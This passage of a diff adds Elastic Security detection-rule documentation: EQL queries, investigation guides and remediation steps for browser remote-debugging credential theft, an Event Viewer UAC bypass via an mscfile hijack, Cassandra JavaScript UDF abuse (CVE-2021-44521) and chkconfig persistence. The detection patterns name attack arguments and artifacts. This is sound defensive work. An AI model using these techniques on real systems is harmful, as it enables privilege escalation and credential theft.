alert window; absence of file telemetry does not close the alert. + - Implication: escalate when the process writes copied browser databases, archives, exported tokens, or renamed outputs in user-writable paths; lower suspicion when file activity stays inside the recognized automation cache or download path and no browser-store artifacts are staged. + +- Is the same browser-brokering pattern present beyond this process? + - Focus: if local evidence is suspicious or unresolved, review recent alerts for the same `user.id` and then the same `host.id`. + - Hint: user-scoped related alerts: !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: host-scoped related alerts: !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same parent, command-line pattern, destination, or browser-store artifact repeats across hosts or users; recurrence of one exact automation pattern supports exception review but does not override contradictory telemetry. + +- What disposition does the evidence support? + - Focus: behavior path, browser and launcher identity, session context, DevTools or egress evidence, browser-store artifacts, and scope. + - Implication: escalate when an unexpected parent drives a browser debug interface, hidden automation, or profile targeting with suspicious session, network, file, or scope evidence; close only when alert-local process evidence and available session, network, file, and scope evidence all bind to one recognized automation, support, or test workflow; preserve and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- Browser automation, QA, RPA, monitoring, enterprise management, remote-support, and security-testing workflows can legitimately launch Chrome or Edge with debug or headless behavior only when the signals converge: a stable signed launcher, bounded debug/profile arguments, the expected `user.id` and `host.id` cohort, and no parent-side DevTools client or browser-store staging outside that toolchain. When optional network or file telemetry is available, require it to fit the same workflow. For security testing, also confirm the activity is contained to the intended hosts and users. +- Before creating an exception, validate that `process.parent.executable`, `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `user.id`, and `host.id` recur across prior alerts from this rule. Avoid exceptions on `process.name`, browser install paths, or remote-debugging text alone because those match both benign automation and credential-theft launchers. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the evidence that proved the workflow: browser and launcher identity, parent command line, user-host scope, and any corroborating destinations or file artifacts. Create an exception only after the same confirmed pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, export the alert, process tree, browser and parent command lines, relevant `process.entity_id` values, debugging port or profile arguments, and any collected file or network evidence before containment. Preserve copied browser stores, staged archives, dropped tools, and relevant browser-session state; apply reversible containment first, such as browser-session revocation, heightened monitoring on the affected `user.id` and `host.id`, or temporary destination controls. +- If confirmed malicious, record volatile browser-session state and preserve staged artifacts before terminating the browser or parent. Then isolate the host through endpoint response or equivalent controls when the host role can tolerate interruption. Block confirmed malicious destinations and hashes for the parent launcher, staged tool, or tampered browser binary; reset exposed credentials and revoke sessions when browser-store or cookie-theft evidence is present. +- After containment, scope related users and hosts for the same `process.parent.executable`, `process.command_line`, browser-store artifact, or confirmed destination pattern from network review. Remove only the unauthorized extensions, staged artifacts, or launcher components identified during investigation. Close the entry path by disabling the unauthorized launcher or restoring browser policy if it was changed. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe") and + process.parent.executable != null and + ( + process.command_line : ( + "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --disable-logging --log-level=3 --v=0", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --log-level=3", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --remote-debugging-port=922? --profile-directory=\"Default\"*", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --restore-last-session --remote-debugging-port=45452*" + ) or + (process.args : "--remote-debugging-port=922?" and process.args : "--window-position=-*,-*") + ) and + not process.parent.executable : + ("C:\\Windows\\explorer.exe", + "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe", + "C:\\Windows\\System32\\rdpinit.exe", + "C:\\Windows\\System32\\sihost.exe", + "C:\\Windows\\System32\\RuntimeBroker.exe", + "C:\\Windows\\System32\\SECOCL64.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Browser Session Hijacking +** ID: T1185 +** Reference URL: https://attack.mitre.org/techniques/T1185/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bypass-uac-via-event-viewer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bypass-uac-via-event-viewer.asciidoc new file mode 100644 index 0000000000..620d59829c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-bypass-uac-via-event-viewer.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-bypass-uac-via-event-viewer]] +=== Bypass UAC via Event Viewer + +Identifies User Account Control (UAC) bypass via eventvwr.exe. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 324 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Bypass UAC via Event Viewer* + + + +*Possible investigation steps* + + +- What did Event Viewer launch in the alert? + - Focus: alert time, host/user scope, `process.parent.executable`, `process.executable`, `process.command_line`, and integrity level. + - Implication: escalate when eventvwr.exe launches an unexpected high-integrity child or script/LOLBIN command instead of the normal console or error-reporting helper; lower suspicion only when path normalization proves helper behavior or fields match controlled UAC testing. + +- Does the child payload identity and command line fit helper behavior or payload execution? + - Focus: `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.command_line`. + - Hint: use `process.pe.original_file_name` when path, filename, or signer conflicts suggest masquerading. + - Implication: escalate when the child is unsigned, rare, user-writable, signer-mismatched, or runs PowerShell, cmd.exe, rundll32.exe, mshta.exe, wscript.exe, regsvr32.exe, remote retrieval, encoded content, or admin-path writes; lower suspicion only when identity, signer, hash history, and command intent fit controlled testing or helper behavior. + +- What started Event Viewer, and did the session fit an interactive admin task? + - Focus: recover the Event Viewer start using `host.id` + `process.parent.entity_id`, then review executable, command line, and logon type. !{investigate{"description":"","label":"Event Viewer parent process event","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.parent.entity_id` is absent, use `host.id` + `process.parent.pid` in a tight `@timestamp` window; PID-only recovery is weaker. Inspect `process.Ext.ancestry` only when direct lineage is incomplete. + - Implication: escalate when Office, browser, archive, scripting, RMM, or remote/noninteractive activity launched Event Viewer; lower suspicion only when launcher and session also support controlled testing or helper behavior. Routine Event Viewer use should open Microsoft Management Console, not an arbitrary child. + +- Is there corroborating current-user mscfile hijack evidence when process evidence stays suspicious? + - Focus: if registry telemetry exists, review current-user mscfile shell-open command content, creator/deleter process, and timing; HKCU may render as HKEY_USERS\\Software\Classes\mscfile\shell\open\command. + - Hint: use this as corroboration, not as a prerequisite for escalation. Missing registry telemetry is unresolved, not benign; absence of the key after the alert can mean cleanup. + - Implication: escalate or raise confidence when the value points to the alert child, a script interpreter, a temp/user path, or was created or removed around the alert; lower suspicion only when artifact evidence fits the same confirmed test or helper behavior already supported by process evidence. + +- What did the elevated child do next? + - Focus: child process events where `process.parent.entity_id` matches `process.entity_id`; review executable, command line, and integrity level. !{investigate{"description":"","label":"Process starts from the elevated child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} + - Hint: prefer entity-ID matches; if only PID matches are available, keep them tightly anchored to `@timestamp`. + - Implication: escalate when the elevated child spawns shells, discovery, credential tools, droppers, installers, persistence helpers, or network-capable tooling; do not close on absent follow-on children when the original command, lineage, or mscfile evidence remains suspicious. + +- Does the same Event Viewer payload pattern recur beyond this host? + - Range: run only when local process, command, artifact, or lineage evidence remains suspicious or unresolved. + - Focus: `process.hash.sha256`, stable command-line fragments, and `process.executable`, scoped by host and user. + - !{investigate{"description":"","label":"Recent process starts with the same child identity","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user or host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same payload or Event Viewer child pattern appears for unrelated hosts or users; keep locally scoped when recurrence is limited to the same confirmed test cohort and no contradictory local evidence remains. + +- Based on the evidence gathered, what disposition is supported? + - Escalate on strong local abuse signals across child behavior, payload identity, command intent, launcher/session, mscfile artifacts, follow-on children, or scope; close only when process evidence and recovery prove helper normalization or controlled testing; preserve evidence and escalate when registry corroboration is unavailable or evidence is mixed. + + +*False positive analysis* + + +- This behavior is an operational anti-pattern. Realistic benign paths are controlled UAC testing or a sensor/path-normalization miss for expected Microsoft Management Console (mmc.exe) or Windows Error Reporting (WerFault.exe) child activity. Confirm identity, launcher/session context, command line, and any recovered mscfile artifact support the same benign explanation; if any dimension contradicts it, do not close as benign. +- Build exceptions from the minimum confirmed pattern: stable child hash or signer, exact Event Viewer parent-child relationship, bounded `user.id` and `host.id`, and test or normalization evidence. Avoid exceptions on `process.parent.name`, `process.name`, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, document the exact evidence that resolved the alert, reverse temporary containment, and keep any exception scoped to the confirmed child identity, parent-child pattern, and host/user cohort. +- If suspicious but unconfirmed, preserve the alert, process event exports, Event Viewer parent and child entity IDs, command lines, hashes/signers, recovered mscfile value/history, child process tree, and process-scoped file or network indicators when available. +- After preservation, apply reversible containment tied to the findings, such as endpoint isolation for non-critical hosts or temporary egress restrictions for confirmed suspicious destinations. Weigh host criticality before isolation. +- If confirmed malicious, preserve the confirmed hashes/domains/destinations and elevated child process details, then isolate the host as needed, block confirmed malicious indicators, and suspend or terminate malicious processes only after recording their evidence. +- Eradicate only the artifacts found during triage: remove malicious payloads, restore the current-user mscfile handler to the expected mmc.exe behavior or remove the malicious override, clean related persistence, and remediate the entry vector that launched Event Viewer. +- Reset credentials or disable accounts only when process/session evidence shows credential exposure, explicit misuse, or attacker use of the affected `user.id`. +- After eradication, reduce repeat exposure by reviewing local administrator membership, using the highest feasible UAC prompt level, and patching affected Windows builds. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "eventvwr.exe" and + not process.executable : ( + "?:\\Windows\\SysWOW64\\mmc.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFault.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\mmc.exe", + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\WerFault.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cassandra-javascript-udf-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cassandra-javascript-udf-creation.asciidoc new file mode 100644 index 0000000000..f0e9298a05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-cassandra-javascript-udf-creation.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-cassandra-javascript-udf-creation]] +=== Cassandra JavaScript UDF Creation + +Identifies Cassandra Query Language statements that create a JavaScript user-defined function. On vulnerable and dangerously configured Cassandra servers, adversaries can abuse scripted UDF creation to escape the JavaScript sandbox and execute operating-system commands, including through CVE-2021-44521. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.cassandra-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ +* https://nvd.nist.gov/vuln/detail/CVE-2021-44521 +* https://attack.mitre.org/techniques/T1059/007/ + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Vuln: CVE-2021-44521 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cassandra JavaScript UDF Creation* + + +CVE-2021-44521 allows a JavaScript UDF to escape the Nashorn sandbox when Cassandra is vulnerable and scripted UDFs are enabled with unsafe thread settings. Even on patched systems, JavaScript UDF creation is a sensitive control-plane operation that should be rare and restricted to approved administrators. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `network.community_id`, and `network_traffic.cassandra.request.query`. +- Extract the function name, keyspace, declared language, and function body. +- Look for Java interoperability, reflection, process execution, class loading, file access, or network-access strings in the UDF body. +- Confirm the Cassandra version and the values of `enable_user_defined_functions`, `enable_scripted_user_defined_functions`, and `enable_user_defined_functions_threads`. +- Correlate with Cassandra audit logs and endpoint telemetry for child processes, file creation, or outbound connections from the Cassandra service. + + +*False positive analysis* + + +- Approved application deployments may create JavaScript UDFs, though this should be uncommon. +- Scope exceptions to known deployment clients and reviewed function definitions rather than excluding UDF creation globally. + + +*Response and remediation* + + +- Terminate unauthorized sessions and isolate the Cassandra node if code execution is suspected. +- Disable scripted UDFs where they are not required and upgrade Cassandra to a version that fixes CVE-2021-44521. +- Remove unauthorized functions, rotate affected credentials, and review role permissions and cluster-wide activity. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the Cassandra protocol analyzer enabled and +cleartext visibility into native CQL traffic. Prepared statements expose query text during `PREPARE`, while later +`EXECUTE` frames may not repeat it. TLS-encrypted traffic is opaque. Use Cassandra audit logs and endpoint telemetry to +confirm the database identity and execution outcome. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "network_traffic.cassandra" and + network_traffic.cassandra.request.query like~ "*create*function*" and + network_traffic.cassandra.request.query like~ "*language*javascript*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chkconfig-service-add.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chkconfig-service-add.asciidoc new file mode 100644 index 0000000000..144862de47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-chkconfig-service-add.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-chkconfig-service-add]] +=== Chkconfig Service Add + +Detects the use of the chkconfig binary to manually add a service for management by chkconfig. Threat actors may utilize this technique to maintain persistence on a system. When a new service is added, chkconfig ensures that the service has either a start or a kill entry in every runlevel and when the system is rebooted the service file added will run providing long-term persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Threat: Lightning Framework +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Chkconfig Service Add* + +Service files are configuration files in Linux systems used to define and manage system services. The `Chkconfig` binary can be used to manually add, delete or modify a service. + +Malicious actors can leverage services to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the usage of the `chkconfig` binary to manually add a service for management by `chkconfig`, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the service that was created or modified. +- Investigate the currently enabled system services through the following commands `sudo chkconfig --list | grep on` and `sudo systemctl list-unit-files`. +- Investigate the status of potentially suspicious services through the `chkconfig --list service_name` command. +- Search for the `rc.d` or `init.d` service files that were created or modified, and analyze their contents. +- Investigate whether any other files in any of the available `rc.d` or `init.d` directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/init.d/%' OR path LIKE '/etc/rc%.d/%')"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE (path LIKE '/etc/init.d/%' OR path LIKE\n'/etc/rc%.d/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate syslog through the `sudo cat /var/log/syslog | grep 'LSB'` command to find traces of the LSB header of the script (if present). If syslog is being ingested into Elasticsearch, the same can be accomplished through Kibana. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses the `chkconfig` binary for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious File Creation in /etc for Persistence - 1c84dd64-7e6c-4bad-ac73-a5014ee37042 +- Potential Persistence Through Run Control Detected - 0f4d35e4-925e-4959-ab24-911be207ee6f +- Potential Persistence Through init.d Detected - 474fd20e-14cc-49c5-8160-d9ab4ba16c8b +- New Systemd Timer Created - 7fb500fa-8e24-4bd1-9480-2a819352602c +- New Systemd Service Created by Previously Unknown Process - 17b0a495-4d9f-414c-8ad0-92f018b8e001 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service/timer or restore its original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action in ("exec", "exec_event", "start") and +process.executable != null and +( + (process.executable : "/usr/sbin/chkconfig" and process.args : "--add") or + (process.args : "*chkconfig" and process.args : "--add") +) and not ( + process.parent.name in ("rpm", "qualys-scan-util", "qualys-cloud-agent", "update-alternatives") or + process.parent.executable in ("/opt/commvault/.gxsetup/silent_install/install", "/usr/sbin/alternatives") or + process.parent.args : ("/var/tmp/rpm*", "/var/lib/waagent/*", "/usr/bin/puppet*") or + process.args in ("jexec", "sapinit", "httpd", "dbora" , "selfprotection") 